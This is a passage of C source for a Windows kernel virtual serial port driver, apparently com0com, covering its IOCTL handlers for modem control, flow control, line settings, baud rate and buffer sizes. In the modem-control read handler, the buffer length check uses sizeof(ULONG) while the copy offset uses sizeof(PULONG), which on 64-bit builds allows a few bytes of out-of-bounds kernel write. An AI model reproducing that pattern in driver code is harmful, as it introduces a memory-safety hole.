            switch (pIoPortLocal->handFlow.FlowReplace & SERIAL_RTS_MASK) {
            case SERIAL_RTS_HANDSHAKE:
            case SERIAL_TRANSMIT_TOGGLE:
                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                status = STATUS_INVALID_PARAMETER;
                break;
            default: {
                LIST_ENTRY queueToComplete;

                InitializeListHead(&queueToComplete);

                SetModemControl(
                    pIoPortLocal,
                    code == IOCTL_SERIAL_SET_RTS ? C0C_MCR_RTS : 0,
                    C0C_MCR_RTS,
                    &queueToComplete);

                if (pIoPortLocal->pIoPortRemote->tryWrite || pIoPortLocal->tryWrite) {
                    ReadWrite(
                        pIoPortLocal, FALSE,
                        pIoPortLocal->pIoPortRemote, FALSE,
                        &queueToComplete);
                }

                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                FdoPortCompleteQueue(&queueToComplete);
            }
            }
            break;
        case IOCTL_SERIAL_SET_DTR:
        case IOCTL_SERIAL_CLR_DTR:
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            switch (pIoPortLocal->handFlow.ControlHandShake & SERIAL_DTR_MASK) {
            case SERIAL_DTR_HANDSHAKE:
                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                status = STATUS_INVALID_PARAMETER;
                break;
            default: {
                LIST_ENTRY queueToComplete;

                InitializeListHead(&queueToComplete);

                SetModemControl(
                    pIoPortLocal,
                    code == IOCTL_SERIAL_SET_DTR ? C0C_MCR_DTR : 0,
                    C0C_MCR_DTR,
                    &queueToComplete);

                if (pIoPortLocal->pIoPortRemote->tryWrite || pIoPortLocal->tryWrite) {
                    ReadWrite(
                        pIoPortLocal, FALSE,
                        pIoPortLocal->pIoPortRemote, FALSE,
                        &queueToComplete);
                }

                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                FdoPortCompleteQueue(&queueToComplete);
            }
            }
            break;
        case IOCTL_SERIAL_SET_MODEM_CONTROL: {
            LIST_ENTRY queueToComplete;
            UCHAR mask;
            PUCHAR pSysBuf;
            ULONG InputBufferLength;

            InputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

            if (InputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pSysBuf = (PUCHAR)pIrp->AssociatedIrp.SystemBuffer;

            if (InputBufferLength >= (sizeof(ULONG) + sizeof(ULONG) + C0CE_SIGNATURE_SIZE) &&
                    RtlEqualMemory(pSysBuf + sizeof(ULONG) + sizeof(ULONG), C0CE_SIGNATURE, C0CE_SIGNATURE_SIZE))
            {
                mask = C0C_MCR_MASK & (UCHAR)*((PULONG)pSysBuf + 1);
            } else {
                mask = C0C_MCR_MASK;
            }

            InitializeListHead(&queueToComplete);

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            SetModemControl(pIoPortLocal, (UCHAR)*(PULONG)pSysBuf, mask, &queueToComplete);

            if (pIoPortLocal->pIoPortRemote->tryWrite || pIoPortLocal->tryWrite) {
                ReadWrite(
                    pIoPortLocal, FALSE,
                    pIoPortLocal->pIoPortRemote, FALSE,
                    &queueToComplete);
            }

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_GET_MODEM_CONTROL:
        case IOCTL_SERIAL_GET_DTRRTS: {
            ULONG modemControl;
            PUCHAR pSysBuf;
            ULONG OutputBufferLength;

            OutputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;

            if (OutputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            modemControl = pIoPortLocal->modemControl;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);

            pSysBuf = (PUCHAR)pIrp->AssociatedIrp.SystemBuffer;

            if (code == IOCTL_SERIAL_GET_DTRRTS) {
                modemControl &= SERIAL_DTR_STATE | SERIAL_RTS_STATE;
                pIrp->IoStatus.Information = sizeof(ULONG);
            } else {
                ULONG InputBufferLength;

                InputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

                if (OutputBufferLength >= (sizeof(ULONG) + C0CE_SIGNATURE_SIZE) &&
                        InputBufferLength >= C0CE_SIGNATURE_SIZE &&
                        RtlEqualMemory(pSysBuf, C0CE_SIGNATURE, C0CE_SIGNATURE_SIZE))
                {
                    RtlCopyMemory(pSysBuf + sizeof(PULONG), C0CE_SIGNATURE, C0CE_SIGNATURE_SIZE);

                    if (OutputBufferLength > (sizeof(ULONG) + C0CE_SIGNATURE_SIZE)) {
                        RtlZeroMemory(pSysBuf + sizeof(ULONG) + C0CE_SIGNATURE_SIZE,
                                      OutputBufferLength - (sizeof(ULONG) + C0CE_SIGNATURE_SIZE));
                    }

                    pIrp->IoStatus.Information = OutputBufferLength;
                } else {
                    pIrp->IoStatus.Information = sizeof(ULONG);
                }

                modemControl &= C0C_MCR_MASK;
            }

            *(PULONG)pSysBuf = modemControl;

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        }
        case IOCTL_SERIAL_SET_XON: {
            LIST_ENTRY queueToComplete;

            InitializeListHead(&queueToComplete);

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            SetXonXoffHolding(pIoPortLocal, C0C_XCHAR_ON);

            if (pIoPortLocal->tryWrite) {
                ReadWrite(
                    pIoPortLocal, FALSE,
                    pIoPortLocal->pIoPortRemote, FALSE,
                    &queueToComplete);
            }
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_SET_XOFF:
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            SetXonXoffHolding(pIoPortLocal, C0C_XCHAR_OFF);
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        case IOCTL_SERIAL_SET_BREAK_ON: {
            LIST_ENTRY queueToComplete;

            InitializeListHead(&queueToComplete);

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            SetBreakHolding(pIoPortLocal, TRUE, &queueToComplete);
            UpdateTransmitToggle(pIoPortLocal, &queueToComplete);

            ReadWrite(
                pIoPortLocal, FALSE,
                pIoPortLocal->pIoPortRemote, FALSE,
                &queueToComplete);

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_SET_BREAK_OFF: {
            LIST_ENTRY queueToComplete;

            InitializeListHead(&queueToComplete);

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            SetBreakHolding(pIoPortLocal, FALSE, &queueToComplete);
            UpdateTransmitToggle(pIoPortLocal, &queueToComplete);

            if (pIoPortLocal->tryWrite || pIoPortLocal->pIoPortRemote->tryWrite) {
                ReadWrite(
                    pIoPortLocal, FALSE,
                    pIoPortLocal->pIoPortRemote, FALSE,
                    &queueToComplete);
            }
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_GET_MODEMSTATUS:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PULONG)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->modemStatus;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            pIrp->IoStatus.Information = sizeof(ULONG);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_SET_WAIT_MASK:
            status = FdoPortSetWaitMask(pIoPortLocal, pIrp, pIrpStack);
            break;
        case IOCTL_SERIAL_GET_WAIT_MASK:
            status = FdoPortGetWaitMask(pIoPortLocal, pIrp, pIrpStack);
            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_WAIT_ON_MASK:
            status = FdoPortWaitOnMask(pIoPortLocal, pIrp, pIrpStack);
#if ENABLE_TRACING
            if (status == STATUS_SUCCESS)
                TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
#endif /* ENABLE_TRACING */
            break;
        case IOCTL_SERIAL_IMMEDIATE_CHAR:
            status = FdoPortImmediateChar(pIoPortLocal, pIrp, pIrpStack);
            break;
        case IOCTL_SERIAL_XOFF_COUNTER:
            status = FdoPortXoffCounter(pIoPortLocal, pIrp, pIrpStack);
            break;
        case IOCTL_SERIAL_PURGE: {
            LIST_ENTRY queueToComplete;
            PULONG pSysBuf;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pSysBuf = (PULONG)pIrp->AssociatedIrp.SystemBuffer;

            if (*pSysBuf & ~(
                        SERIAL_PURGE_TXABORT |
                        SERIAL_PURGE_RXABORT |
                        SERIAL_PURGE_TXCLEAR |
                        SERIAL_PURGE_RXCLEAR
                    )) {
                status = STATUS_INVALID_PARAMETER;
                break;
            }

            InitializeListHead(&queueToComplete);
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            if (*pSysBuf & SERIAL_PURGE_RXABORT)
                CancelQueue(&pIoPortLocal->irpQueues[C0C_QUEUE_READ], &queueToComplete);

            if (*pSysBuf & SERIAL_PURGE_TXABORT)
                CancelQueue(&pIoPortLocal->irpQueues[C0C_QUEUE_WRITE], &queueToComplete);

            if (*pSysBuf & SERIAL_PURGE_RXCLEAR) {
                PurgeBuffer(&pIoPortLocal->readBuf);
                UpdateHandFlow(pIoPortLocal, TRUE, &queueToComplete);
                if (pIoPortLocal->tryWrite || pIoPortLocal->pIoPortRemote->tryWrite) {
                    ReadWrite(
                        pIoPortLocal, FALSE,
                        pIoPortLocal->pIoPortRemote, FALSE,
                        &queueToComplete);
                }
            }

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);

            break;
        }
        case IOCTL_SERIAL_GET_COMMSTATUS: {
            PSERIAL_STATUS pSysBuf;
            PIRP pIrpWrite;

            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIAL_STATUS)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pSysBuf = (PSERIAL_STATUS)pIrp->AssociatedIrp.SystemBuffer;
            RtlZeroMemory(pSysBuf, sizeof(*pSysBuf));

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            pSysBuf->AmountInInQueue = (ULONG)C0C_BUFFER_BUSY(&pIoPortLocal->readBuf);

            pIrpWrite = pIoPortLocal->irpQueues[C0C_QUEUE_WRITE].pCurrent;

            if (pIrpWrite) {
                PIO_STACK_LOCATION pIrpStackWrite = IoGetCurrentIrpStackLocation(pIrpWrite);

                if (pIrpStackWrite->MajorFunction == IRP_MJ_DEVICE_CONTROL &&
                        pIrpStackWrite->Parameters.DeviceIoControl.IoControlCode == IOCTL_SERIAL_IMMEDIATE_CHAR)
                {
                    pSysBuf->WaitForImmediate = TRUE;
                }
            }

            pSysBuf->AmountInOutQueue = pIoPortLocal->amountInWriteQueue;
            pSysBuf->HoldReasons = pIoPortLocal->writeHolding;

            if ((pIoPortLocal->handFlow.ControlHandShake & SERIAL_DSR_SENSITIVITY) &&
                    (pIoPortLocal->modemStatus & C0C_MSB_DSR) == 0)
            {
                pSysBuf->HoldReasons |= SERIAL_RX_WAITING_FOR_DSR;
            }

            if (pIoPortLocal->writeHoldingRemote & SERIAL_TX_WAITING_FOR_XON)
                pSysBuf->HoldReasons |= SERIAL_TX_WAITING_XOFF_SENT;

            pSysBuf->Errors = pIoPortLocal->errors;
            pIoPortLocal->errors = 0;

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);

            pIrp->IoStatus.Information = sizeof(SERIAL_STATUS);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);

            break;
        }
        case IOCTL_SERIAL_SET_HANDFLOW: {
            LIST_ENTRY queueToComplete;
            PSERIAL_HANDFLOW pSysBuf;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(SERIAL_HANDFLOW)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pSysBuf = (PSERIAL_HANDFLOW)pIrp->AssociatedIrp.SystemBuffer;

            if (pSysBuf->ControlHandShake & SERIAL_CONTROL_INVALID ||
                    pSysBuf->FlowReplace & SERIAL_FLOW_INVALID ||
                    (pSysBuf->ControlHandShake & SERIAL_DTR_MASK) == SERIAL_DTR_MASK ||
                    pSysBuf->XonLimit < 0 ||
                    pSysBuf->XoffLimit < 0)
            {
                status = STATUS_INVALID_PARAMETER;
                break;
            }

            InitializeListHead(&queueToComplete);
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            status = SetHandFlow(pIoPortLocal, pSysBuf, &queueToComplete);

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_GET_HANDFLOW:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIAL_HANDFLOW)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PSERIAL_HANDFLOW)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->handFlow;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            pIrp->IoStatus.Information = sizeof(SERIAL_HANDFLOW);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_SET_TIMEOUTS:
            status = FdoPortSetTimeouts(pIoPortLocal, pIrp, pIrpStack);
            break;
        case IOCTL_SERIAL_GET_TIMEOUTS:
            status = FdoPortGetTimeouts(pIoPortLocal, pIrp, pIrpStack);
            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_SET_CHARS: {
            PSERIAL_CHARS pSysBuf;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(SERIAL_CHARS)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pSysBuf = (PSERIAL_CHARS)pIrp->AssociatedIrp.SystemBuffer;

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            if (pIoPortLocal->escapeChar &&
                    ((pIoPortLocal->escapeChar == pSysBuf->XoffChar) ||
                     (pIoPortLocal->escapeChar == pSysBuf->XonChar)))
            {
                status = STATUS_INVALID_PARAMETER;
            }

            if (status == STATUS_SUCCESS)
                pIoPortLocal->specialChars = *pSysBuf;

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        }
        case IOCTL_SERIAL_GET_CHARS:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIAL_CHARS)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PSERIAL_CHARS)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->specialChars;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);

            pIrp->IoStatus.Information = sizeof(SERIAL_CHARS);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_LSRMST_INSERT: {
            ULONG Information;
            ULONG optsAndBits;
            UCHAR escapeChar;
            PUCHAR pSysBuf;
            ULONG InputBufferLength;
            BOOLEAN extended;

            InputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

            if (InputBufferLength < sizeof(UCHAR)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            Information = 0;
            pSysBuf = (PUCHAR)pIrp->AssociatedIrp.SystemBuffer;
            escapeChar = *pSysBuf;

            if (InputBufferLength >= (sizeof(UCHAR) + C0CE_SIGNATURE_SIZE + sizeof(ULONG)) &&
                    RtlEqualMemory(pSysBuf + 1, C0CE_SIGNATURE, C0CE_SIGNATURE_SIZE))
            {
                extended = TRUE;
                optsAndBits = *(ULONG *)(pSysBuf + 1 + C0CE_SIGNATURE_SIZE);

#define C0CE_INSERT_OPTS ( \
        C0CE_INSERT_IOCTL_GET| \
        C0CE_INSERT_IOCTL_RXCLEAR)

#define C0CE_INSERT_BITS ( \
        C0CE_INSERT_ENABLE_LSR| \
        C0CE_INSERT_ENABLE_MST| \
        C0CE_INSERT_ENABLE_RBR| \
        C0CE_INSERT_ENABLE_RLC| \
        C0CE_INSERT_ENABLE_LSR_BI)

#define C0CE_INSERT_CAPS (C0CE_INSERT_OPTS|C0CE_INSERT_BITS)

                if (optsAndBits == C0CE_INSERT_IOCTL_CAPS) {
                    optsAndBits = 0;

                    Information += C0CE_SIGNATURE_SIZE + sizeof(ULONG);

                    if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < Information) {
                        status = STATUS_BUFFER_TOO_SMALL;
                        break;
                    }

                    RtlCopyMemory(pSysBuf, C0CE_SIGNATURE, C0CE_SIGNATURE_SIZE);
                    *(ULONG *)(pSysBuf + C0CE_SIGNATURE_SIZE) = C0CE_INSERT_CAPS;
                } else {
                    if (optsAndBits & ~C0CE_INSERT_CAPS) {
                        status = STATUS_INVALID_PARAMETER;
                        break;
                    }

                    if (optsAndBits & C0CE_INSERT_IOCTL_GET) {
                        if (optsAndBits & (C0CE_INSERT_ENABLE_LSR|C0CE_INSERT_ENABLE_LSR_BI))
                            Information += sizeof(UCHAR)*2 + sizeof(UCHAR);
                        if (optsAndBits & C0CE_INSERT_ENABLE_MST)
                            Information += sizeof(UCHAR)*2 + sizeof(UCHAR);
                        if (optsAndBits & C0CE_INSERT_ENABLE_RBR)
                            Information += sizeof(UCHAR)*2 + sizeof(ULONG);
                        if (optsAndBits & C0CE_INSERT_ENABLE_RLC)
                            Information += sizeof(UCHAR)*2 + sizeof(UCHAR)*3;
                    }

                    if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < Information) {
                        status = STATUS_BUFFER_TOO_SMALL;
                        break;
                    }
                }
            } else {
                extended = FALSE;
                optsAndBits = (C0CE_INSERT_ENABLE_LSR|C0CE_INSERT_ENABLE_MST);
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            if (escapeChar && ((escapeChar == pIoPortLocal->specialChars.XoffChar) ||
                               (escapeChar == pIoPortLocal->specialChars.XonChar) ||
                               (pIoPortLocal->handFlow.FlowReplace & SERIAL_ERROR_CHAR)))
            {
                status = STATUS_INVALID_PARAMETER;
                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                break;
            }

            pIoPortLocal->insertMask = optsAndBits & C0CE_INSERT_BITS;
            pIoPortLocal->escapeChar = escapeChar;

            if (extended) {
                LIST_ENTRY queueToComplete;
                PC0C_IO_PORT pIoPortRemote;

                InitializeListHead(&queueToComplete);
                pIoPortRemote = pIoPortLocal->pIoPortRemote;

                if (optsAndBits & C0CE_INSERT_IOCTL_GET) {
                    if (optsAndBits & (C0CE_INSERT_ENABLE_LSR|C0CE_INSERT_ENABLE_LSR_BI)) {
                        UCHAR lsr = 0;

                        if (C0C_TX_BUFFER_THR_EMPTY(&pIoPortLocal->txBuf)) {
                            lsr |= 0x20;  /* transmit holding register empty */

                            if (C0C_TX_BUFFER_EMPTY(&pIoPortLocal->txBuf))
                                lsr |= 0x40;  /* transmit holding register empty and line is idle */
                        }

                        if ((optsAndBits & C0CE_INSERT_ENABLE_LSR_BI) != 0 && pIoPortLocal->rcvdBreak)
                            lsr |= 0x10;  /* break interrupt indicator */

                        *pSysBuf++ = escapeChar;
                        *pSysBuf++ = SERIAL_LSRMST_LSR_NODATA;
                        *pSysBuf++ = lsr;
                    }

                    if (optsAndBits & C0CE_INSERT_ENABLE_MST) {
                        *pSysBuf++ = escapeChar;
                        *pSysBuf++ = SERIAL_LSRMST_MST;
                        *pSysBuf++ = pIoPortLocal->modemStatus;
                    }

                    if (optsAndBits & C0CE_INSERT_ENABLE_RBR) {
                        *pSysBuf++ = escapeChar;
                        *pSysBuf++ = C0CE_INSERT_RBR;
                        *(ULONG *)pSysBuf = pIoPortRemote->baudRate.BaudRate;
                        pSysBuf += sizeof(ULONG);
                    }

                    if (optsAndBits & C0CE_INSERT_ENABLE_RLC) {
                        *pSysBuf++ = escapeChar;
                        *pSysBuf++ = C0CE_INSERT_RLC;
                        *pSysBuf++ = pIoPortRemote->lineControl.WordLength;
                        *pSysBuf++ = pIoPortRemote->lineControl.Parity;
                        *pSysBuf++ = pIoPortRemote->lineControl.StopBits;
                    }
                }

                pIrp->IoStatus.Information = Information;

                if (optsAndBits & C0CE_INSERT_IOCTL_RXCLEAR) {
                    PurgeBuffer(&pIoPortLocal->readBuf);
                    UpdateHandFlow(pIoPortLocal, TRUE, &queueToComplete);
                    if (pIoPortLocal->tryWrite || pIoPortRemote->tryWrite) {
                        ReadWrite(
                            pIoPortLocal, FALSE,
                            pIoPortRemote, FALSE,
                            &queueToComplete);
                    }
                }

                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                FdoPortCompleteQueue(&queueToComplete);

                TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
                break;
            }

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        }
        case IOCTL_SERIAL_SET_LINE_CONTROL: {
            PSERIAL_LINE_CONTROL pLineControl;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(SERIAL_LINE_CONTROL)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pLineControl = (PSERIAL_LINE_CONTROL)pIrp->AssociatedIrp.SystemBuffer;

            switch (pLineControl->WordLength) {
            case 5:
            case 6:
            case 7:
            case 8:
                break;
            default:
                status = STATUS_INVALID_PARAMETER;
            }

            switch (pLineControl->Parity) {
            case NO_PARITY:
            case ODD_PARITY:
            case EVEN_PARITY:
            case MARK_PARITY:
            case SPACE_PARITY:
                break;
            default:
                status = STATUS_INVALID_PARAMETER;
            }

            switch (pLineControl->StopBits) {
            case STOP_BIT_1:
            case STOP_BITS_1_5:
            case STOP_BITS_2:
                break;
            default:
                status = STATUS_INVALID_PARAMETER;
            }

            if (status == STATUS_INVALID_PARAMETER)
                break;

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            if (pIoPortLocal->lineControl.StopBits != pLineControl->StopBits ||
                    pIoPortLocal->lineControl.Parity != pLineControl->Parity ||
                    pIoPortLocal->lineControl.WordLength != pLineControl->WordLength)
            {
                PC0C_IO_PORT pIoPortRemote;

                pIoPortLocal->lineControl = *pLineControl;
                SetWriteDelay(pIoPortLocal);

                pIoPortRemote = pIoPortLocal->pIoPortRemote;

                if (pIoPortRemote->escapeChar && (pIoPortRemote->insertMask & C0CE_INSERT_ENABLE_RLC)) {
                    LIST_ENTRY queueToComplete;

                    InitializeListHead(&queueToComplete);

                    InsertRemoteLc(pIoPortRemote, &queueToComplete);

                    if (pIoPortLocal->pIoPortRemote->tryWrite || pIoPortLocal->tryWrite) {
                        ReadWrite(
                            pIoPortLocal, FALSE,
                            pIoPortLocal->pIoPortRemote, FALSE,
                            &queueToComplete);
                    }

                    KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                    FdoPortCompleteQueue(&queueToComplete);
                    break;
                }
            }
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        }
        case IOCTL_SERIAL_GET_LINE_CONTROL:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIAL_LINE_CONTROL)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PSERIAL_LINE_CONTROL)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->lineControl;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            pIrp->IoStatus.Information = sizeof(SERIAL_LINE_CONTROL);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_SET_BAUD_RATE: {
            PSERIAL_BAUD_RATE pBaudRate;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(SERIAL_BAUD_RATE)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pBaudRate = (PSERIAL_BAUD_RATE)pIrp->AssociatedIrp.SystemBuffer;

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            if (pIoPortLocal->baudRate.BaudRate != pBaudRate->BaudRate) {
                PC0C_IO_PORT pIoPortRemote;

                pIoPortLocal->baudRate = *pBaudRate;
                SetWriteDelay(pIoPortLocal);

                pIoPortRemote = pIoPortLocal->pIoPortRemote;

                if (pIoPortRemote->escapeChar && (pIoPortRemote->insertMask & C0CE_INSERT_ENABLE_RBR)) {
                    LIST_ENTRY queueToComplete;

                    InitializeListHead(&queueToComplete);

                    InsertRemoteBr(pIoPortRemote, &queueToComplete);

                    if (pIoPortLocal->pIoPortRemote->tryWrite || pIoPortLocal->tryWrite) {
                        ReadWrite(
                            pIoPortLocal, FALSE,
                            pIoPortLocal->pIoPortRemote, FALSE,
                            &queueToComplete);
                    }

                    KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                    FdoPortCompleteQueue(&queueToComplete);
                    break;
                }
            }
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        }
        case IOCTL_SERIAL_GET_BAUD_RATE:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIAL_BAUD_RATE)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PSERIAL_BAUD_RATE)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->baudRate;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            pIrp->IoStatus.Information = sizeof(SERIAL_BAUD_RATE);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_GET_PROPERTIES: {
            ULONG size;

            status = GetCommProp(pDevExt,
                                 pIrp->AssociatedIrp.SystemBuffer,
                                 pIrpStack->Parameters.DeviceIoControl.OutputBufferLength,
                                 &size);

            if (status == STATUS_SUCCESS) {
                pIrp->IoStatus.Information = size;
                TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            }

            break;
        }
        case IOCTL_SERIAL_CONFIG_SIZE:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }
            pIrp->IoStatus.Information = sizeof(ULONG);
            *(PULONG)pIrp->AssociatedIrp.SystemBuffer = 0;
            break;
        case IOCTL_SERIAL_SET_QUEUE_SIZE: {
            PSERIAL_QUEUE_SIZE pSysBuf = (PSERIAL_QUEUE_SIZE)pIrp->AssociatedIrp.SystemBuffer;
            LIST_ENTRY queueToComplete;
            PC0C_BUFFER pReadBuf;
            PUCHAR pBase;

            if (pIrpStack->Parameters.DeviceIoControl.InputBufferLength < sizeof(SERIAL_QUEUE_SIZE)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            pReadBuf = &pIoPortLocal->readBuf;

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            if (pSysBuf->InSize <= C0C_BUFFER_SIZE(pReadBuf)) {
                KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
                break;
            }
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);

            try {
                pBase = C0C_ALLOCATE_POOL_WITH_QUOTA(NonPagedPool, pSysBuf->InSize);
            }
            except (EXCEPTION_EXECUTE_HANDLER) {
                pBase = NULL;
                status = GetExceptionCode();
            }

            if (!pBase)
                break;

            InitializeListHead(&queueToComplete);
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);

            if (SetNewBufferBase(pReadBuf, pBase, pSysBuf->InSize)) {
                pIoPortLocal->handFlow.XoffLimit = pSysBuf->InSize >> 3;
                pIoPortLocal->handFlow.XonLimit = pSysBuf->InSize >> 1;
                SetLimit(pIoPortLocal);
                UpdateHandFlow(pIoPortLocal, TRUE, &queueToComplete);
                if (pIoPortLocal->tryWrite || pIoPortLocal->pIoPortRemote->tryWrite) {
                    ReadWrite(
                        pIoPortLocal, FALSE,
                        pIoPortLocal->pIoPortRemote, FALSE,
                        &queueToComplete);
                }
            }

            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            FdoPortCompleteQueue(&queueToComplete);
            break;
        }
        case IOCTL_SERIAL_GET_STATS:
            if (pIrpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(SERIALPERF_STATS)) {
                status = STATUS_BUFFER_TOO_SMALL;
                break;
            }

            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            *(PSERIALPERF_STATS)pIrp->AssociatedIrp.SystemBuffer = pIoPortLocal->perfStats;
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
